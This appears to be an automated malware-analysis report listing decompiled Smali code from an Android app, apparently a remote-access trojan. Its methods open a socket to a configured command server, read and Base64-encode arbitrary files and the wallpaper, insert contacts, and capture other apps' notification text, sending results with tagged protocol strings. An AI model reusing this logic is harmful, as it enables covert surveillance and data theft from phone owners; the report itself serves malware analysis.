78iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
80invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->g()V
81try_end_6c: goto/16 :goto_5
82catch_6d: move-exception v0
84iget-object v0, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
86invoke-static {v0, v6}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/net/Socket;)Ljava/net/Socket;
  • Data flow analysis:
    • p1: 0
87move v0, v1
88goto/16 :goto_5
89cond_75:
90iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
92iget-object v2, v2, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
94const-string v3, "No"
95if-ne v2, v3, :cond_e2
97iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
99invoke-static {v2}, Lsys/arshad/sys/MainActivity;->f(Lsys/arshad/sys/MainActivity;)Z
100move-result v2
101if-ne v2, v1, :cond_df
102if-ne v0, v7, :cond_5
103try_start_87:
104iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
105new-instance v3, Ljava/net/Socket;
107iget-object v4, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
109iget-object v4, v4, Lsys/arshad/sys/MainActivity;->f:Ljava/lang/String;
111iget-object v5, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
112iget v5, v5, Lsys/arshad/sys/MainActivity;->g:I
114invoke-direct {v3, v4, v5}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
116invoke-static {v2, v3}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/net/Socket;)Ljava/net/Socket;
118iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
120invoke-static {v2}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
121move-result-object v2
122if-eqz v2, :cond_5
124iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
125new-instance v3, Ljava/io/PrintWriter;
127iget-object v4, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
129invoke-static {v4}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
130move-result-object v4
132invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
133move-result-object v4
134const/4 v5, 0x1
136invoke-direct {v3, v4, v5}, Ljava/io/PrintWriter;-><init>(Ljava/io/OutputStream;Z)V
  • Data flow analysis:
    • p1: 1
138invoke-static {v2, v3}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/io/PrintWriter;)Ljava/io/PrintWriter;
139new-instance v2, Ljava/io/InputStreamReader;
141iget-object v3, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
143invoke-static {v3}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
144move-result-object v3
146invoke-virtual {v3}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
147move-result-object v3
149invoke-direct {v2, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
151iget-object v3, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
152new-instance v4, Ljava/io/BufferedReader;
154invoke-direct {v4, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
156invoke-static {v3, v4}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/io/BufferedReader;)Ljava/io/BufferedReader;
158iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
160invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->g()V
161try_end_d4: goto/16 :goto_5
162catch_d6: move-exception v0
164iget-object v0, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
166invoke-static {v0, v6}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/net/Socket;)Ljava/net/Socket;
  • Data flow analysis:
    • p1: 0
167move v0, v1
168goto/16 :goto_5
169cond_df: move v0, v1
170goto/16 :goto_5
171cond_e2: move v0, v1
172goto/16 :goto_5
173cond_e5: return-object v6
APIs
  • java.lang.String.trim
  • android.net.Uri.parse
  • android.net.Uri.getPath
  • java.io.File.<init>
  • java.io.File.getName
  • java.io.FileInputStream.<init>
  • java.io.ByteArrayOutputStream.<init>
  • java.io.FileInputStream.read
  • java.io.ByteArrayOutputStream.write
  • java.io.FileInputStream.close
  • java.io.ByteArrayOutputStream.flush
  • java.io.ByteArrayOutputStream.close
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.encode
  • java.lang.String.<init>
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • \n
  • {NOTE}
  • B9:::
  • [(0)sp]
  • [(0)tcp]
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$17;->a:Ljava/lang/String;
2try_start_2:
3iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$17;->b:Ljava/lang/String;
5invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
6move-result-object v1
8invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
9move-result-object v1
10new-instance v2, Ljava/io/File;
12invoke-virtual {v1}, Landroid/net/Uri;->getPath()Ljava/lang/String;
13move-result-object v1
15invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
17invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
18move-result-object v1
19new-instance v3, Ljava/io/FileInputStream;
21invoke-direct {v3, v2}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
22new-instance v2, Ljava/io/ByteArrayOutputStream;
24invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
25const/16 v4, 0x400
26new-array v4, v4, [B
27goto_27: const/4 v5, 0x0
28array-length v6, v4
30invoke-virtual {v3, v4, v5, v6}, Ljava/io/FileInputStream;->read([BII)I
  • Data flow analysis:
    • p1: 0
31move-result v5
32const/4 v6, -0x1
33if-eq v5, v6, :cond_37
34const/4 v6, 0x0
36invoke-virtual {v2, v4, v6, v5}, Ljava/io/ByteArrayOutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
37goto/16 :goto_27
38catch_35: move-exception v0
39goto_36: return-void
40cond_37:
41invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
43invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->flush()V
45invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
47invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
48move-result-object v2
49const/4 v3, 0x0
51invoke-static {v2, v3}, Landroid/util/Base64;->encode([BI)[B
  • Data flow analysis:
    • flags: 0
52move-result-object v2
53new-instance v3, Ljava/lang/String;
55invoke-direct {v3, v2}, Ljava/lang/String;-><init>([B)V
57const-string v2, "\n"
59const-string v4, "{NOTE}"
61invoke-virtual {v3, v2, v4}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: {NOTE}
62move-result-object v2
64iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$17;->c:Lsys/arshad/sys/MainActivity$b;
66iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
67new-instance v4, Ljava/lang/StringBuilder;
69invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
71const-string v5, "B9:::"
73invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B9:::
74move-result-object v4
76invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
77move-result-object v2
79const-string v4, "[(0)sp]"
81invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
82move-result-object v2
84invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
85move-result-object v0
87const-string v2, "[(0)sp]"
89invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
90move-result-object v0
92invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
93move-result-object v0
95const-string v1, "[(0)tcp]"
97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
98move-result-object v0
100iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$17;->c:Lsys/arshad/sys/MainActivity$b;
102iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
104iget-object v1, v1, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
106invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
107move-result-object v0
109invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
110move-result-object v0
112invoke-virtual {v3, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
113try_end_94: goto/16 :goto_36
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.content.ContentProviderOperation.newInsert
  • android.content.ContentProviderOperation$Builder.withValue
  • android.content.ContentProviderOperation$Builder.build
  • java.util.ArrayList.add
  • android.content.ContentProviderOperation.newInsert
  • android.content.ContentProviderOperation$Builder.withValueBackReference
  • android.content.ContentProviderOperation$Builder.withValue
  • android.content.ContentProviderOperation$Builder.build
  • java.util.ArrayList.add
  • android.content.ContentProviderOperation.newInsert
  • android.content.ContentProviderOperation$Builder.withValueBackReference
  • android.content.ContentProviderOperation$Builder.withValue
  • java.lang.Integer.valueOf
  • android.content.ContentProviderOperation$Builder.withValue
  • android.content.ContentProviderOperation$Builder.build
  • java.util.ArrayList.add
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.applyBatch
Strings
  • account_type
  • account_name
  • raw_contact_id
  • mimetype
  • vnd.android.cursor.item/name
  • data1
  • vnd.android.cursor.item/phone_v2
  • data2
  • com.android.contacts
Position Instruction Meta Information
0const/4 v3, 0x0
1const/4 v4, 0x0
2new-instance v0, Ljava/util/ArrayList;
4invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
6sget-object v1, Landroid/provider/ContactsContract$RawContacts;->CONTENT_URI:Landroid/net/Uri;
8invoke-static {v1}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
9move-result-object v1
11const-string v2, "account_type"
13invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: account_type
    • p1: 0
14move-result-object v1
16const-string v2, "account_name"
18invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: account_name
    • p1: 0
19move-result-object v1
21invoke-virtual {v1}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
22move-result-object v1
24invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
26sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
28invoke-static {v1}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
29move-result-object v1
31const-string v2, "raw_contact_id"
33invoke-virtual {v1, v2, v4}, Landroid/content/ContentProviderOperation$Builder;->withValueBackReference(Ljava/lang/String;I)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: raw_contact_id
    • p1: 0
34move-result-object v1
36const-string v2, "mimetype"
38const-string v3, "vnd.android.cursor.item/name"
40invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: mimetype
    • p1: vnd.android.cursor.item/name
41move-result-object v1
43const-string v2, "data1"
45invoke-virtual {v1, v2, p1}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: data1
46move-result-object v1
48invoke-virtual {v1}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
49move-result-object v1
51invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
53sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
55invoke-static {v1}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
56move-result-object v1
58const-string v2, "raw_contact_id"
60invoke-virtual {v1, v2, v4}, Landroid/content/ContentProviderOperation$Builder;->withValueBackReference(Ljava/lang/String;I)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: raw_contact_id
    • p1: 0
61move-result-object v1
63const-string v2, "mimetype"
65const-string v3, "vnd.android.cursor.item/phone_v2"
67invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: mimetype
    • p1: vnd.android.cursor.item/phone_v2
68move-result-object v1
70const-string v2, "data1"
72invoke-virtual {v1, v2, p2}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: data1
73move-result-object v1
75const-string v2, "data2"
76const/4 v3, 0x2
78invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 2
79move-result-object v3
81invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: data2
82move-result-object v1
84invoke-virtual {v1}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
85move-result-object v1
87invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
88try_start_6d:
89iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
91invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
92move-result-object v1
94invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
95move-result-object v1
97const-string v2, "com.android.contacts"
99invoke-virtual {v1, v2, v0}, Landroid/content/ContentResolver;->applyBatch(Ljava/lang/String;Ljava/util/ArrayList;)[Landroid/content/ContentProviderResult;
  • Data flow analysis:
    • authority: com.android.contacts
100goto_7c: return-void
101catch_7d: move-exception v0
102goto/16 :goto_7c
103catch_7f: move-exception v0
104goto/16 :goto_7c
APIs
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.app.WallpaperManager.getInstance
  • android.app.WallpaperManager.getDrawable
  • java.lang.String.<init>
  • android.graphics.drawable.BitmapDrawable.getBitmap
  • java.io.ByteArrayOutputStream.<init>
  • android.graphics.Bitmap.compress
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.encodeToString
  • android.util.DisplayMetrics.<init>
  • sys.arshad.sys.MainActivity.getWindowManager
  • android.view.WindowManager.getDefaultDisplay
  • android.view.Display.getMetrics
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • #
  • S C C R E A M
  • B17:::
  • [(0)tcp]
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$17;->a:Lsys/arshad/sys/MainActivity;
3invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
4move-result-object v0
6invoke-static {v0}, Landroid/app/WallpaperManager;->getInstance(Landroid/content/Context;)Landroid/app/WallpaperManager;
7move-result-object v0
9invoke-virtual {v0}, Landroid/app/WallpaperManager;->getDrawable()Landroid/graphics/drawable/Drawable;
10move-result-object v0
11new-instance v1, Ljava/lang/String;
13invoke-direct {v1}, Ljava/lang/String;-><init>()V
14if-eqz v0, :cond_8c
15check-cast v0, Landroid/graphics/drawable/BitmapDrawable;
17invoke-virtual {v0}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
18move-result-object v0
19new-instance v1, Ljava/io/ByteArrayOutputStream;
21invoke-direct {v1}, Ljava/io/ByteArrayOutputStream;-><init>()V
23sget-object v2, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
24const/4 v3, 0x1
26invoke-virtual {v0, v2, v3, v1}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
  • Data flow analysis:
    • quality: 1
28invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
29move-result-object v0
30const/4 v1, 0x2
32invoke-static {v0, v1}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
  • Data flow analysis:
    • flags: 2
33move-result-object v0
34new-instance v1, Landroid/util/DisplayMetrics;
36invoke-direct {v1}, Landroid/util/DisplayMetrics;-><init>()V
38iget-object v2, p0, Lsys/arshad/sys/MainActivity$17;->a:Lsys/arshad/sys/MainActivity;
40invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->getWindowManager()Landroid/view/WindowManager;
41move-result-object v2
43invoke-interface {v2}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display;
44move-result-object v2
46invoke-virtual {v2, v1}, Landroid/view/Display;->getMetrics(Landroid/util/DisplayMetrics;)V
47iget v2, v1, Landroid/util/DisplayMetrics;->widthPixels:I
48iget v1, v1, Landroid/util/DisplayMetrics;->heightPixels:I
49new-instance v3, Ljava/lang/StringBuilder;
51invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
53const-string v4, "#"
55invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
56move-result-object v3
58invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
59move-result-object v2
61const-string v3, "S C C R E A M"
63invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: S C C R E A M
64move-result-object v2
66invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
67move-result-object v1
69invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
70move-result-object v1
72iget-object v2, p0, Lsys/arshad/sys/MainActivity$17;->a:Lsys/arshad/sys/MainActivity;
73new-instance v3, Ljava/lang/StringBuilder;
75invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
77const-string v4, "B17:::"
79invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B17:::
80move-result-object v3
82invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
83move-result-object v0
85invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v0
88const-string v1, "[(0)tcp]"
90invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
91move-result-object v0
93iget-object v1, p0, Lsys/arshad/sys/MainActivity$17;->a:Lsys/arshad/sys/MainActivity;
95iget-object v1, v1, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
98move-result-object v0
100invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
101move-result-object v0
103invoke-virtual {v2, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
104try_end_8c: return-void
105catch_8d: move-exception v0
106goto/16 :goto_8c
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.lang.StringBuilder.<init>
  • java.io.FileReader.<init>
  • java.io.BufferedReader.<init>
  • java.io.BufferedReader.readLine
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.io.BufferedReader.close
Strings
  • [(0)Ln]
  • _
  • B20:::
  • [(0)tcp]
Position Instruction Meta Information
0new-instance v0, Ljava/lang/StringBuilder;
2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
4iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$45;->a:Ljava/lang/String;
6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
7move-result-object v0
9iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$45;->b:Ljava/lang/String;
11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v0
14invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v0
16new-instance v1, Ljava/io/File;
18invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
19new-instance v2, Ljava/lang/StringBuilder;
21invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
22try_start_1f: new-instance v3, Ljava/io/BufferedReader;
23new-instance v4, Ljava/io/FileReader;
25invoke-direct {v4, v1}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
27invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
28goto_29:
29invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
30move-result-object v1
31if-eqz v1, :cond_88
32new-instance v4, Ljava/lang/StringBuilder;
34invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
36invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v1
39const-string v4, "[(0)Ln]"
41invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
42move-result-object v1
44invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
45move-result-object v1
47invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48try_end_45: goto/16 :goto_29
49catch_46: move-exception v1
50goto_47:
51const-string v1, "_"
53const-string v3, ""
55invoke-virtual {v0, v1, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: _
56move-result-object v0
58iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$45;->c:Lsys/arshad/sys/MainActivity$b;
60iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
61new-instance v3, Ljava/lang/StringBuilder;
63invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
65const-string v4, "B20:::"
67invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B20:::
68move-result-object v3
70invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
71move-result-object v2
73invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v2
76const-string v3, "[(0)tcp]"
78invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
79move-result-object v2
81iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$45;->c:Lsys/arshad/sys/MainActivity$b;
83iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
85iget-object v3, v3, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v2
90const-string v3, "_"
92invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: _
93move-result-object v2
95invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
96move-result-object v0
98invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
99move-result-object v0
101invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
102return-void
103try_start_88:
104invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
105try_end_8b: goto/16 :goto_47
APIs
  • android.service.notification.StatusBarNotification.getPackageName
  • android.service.notification.StatusBarNotification.getNotification
  • java.lang.CharSequence.toString
  • android.service.notification.StatusBarNotification.getNotification
  • android.os.Bundle.getString
  • android.os.Bundle.getCharSequence
  • java.lang.CharSequence.toString
  • android.util.Log.i
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.support.v4.b.d.a
Strings
  • android.title
  • android.text
  • Package
  • Ticker
  • Title
  • Text
  • Msg
  • package
  • ticker
  • title
  • text
Position Instruction Meta Information
0.annotation build Landroid/annotation/TargetApi;
1value = 0x13
2.end annotation
4invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPackageName()Ljava/lang/String;
5move-result-object v0
7invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
8move-result-object v1
10iget-object v1, v1, Landroid/app/Notification;->tickerText:Ljava/lang/CharSequence;
12invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
13move-result-object v1
15invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
16move-result-object v2
18iget-object v2, v2, Landroid/app/Notification;->extras:Landroid/os/Bundle;
20const-string v3, "android.title"
22invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: android.title
23move-result-object v3
25const-string v4, "android.text"
27invoke-virtual {v2, v4}, Landroid/os/Bundle;->getCharSequence(Ljava/lang/String;)Ljava/lang/CharSequence;
  • Data flow analysis:
    • key: android.text
28move-result-object v2
30invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
31move-result-object v2
33const-string v4, "Package"
35invoke-static {v4, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Package
37const-string v4, "Ticker"
39invoke-static {v4, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Ticker
41const-string v4, "Title"
43invoke-static {v4, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Title
45const-string v4, "Text"
47invoke-static {v4, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Text
48new-instance v4, Landroid/content/Intent;
50const-string v5, "Msg"
52invoke-direct {v4, v5}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Msg
54const-string v5, "package"
56invoke-virtual {v4, v5, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: package
58const-string v0, "ticker"
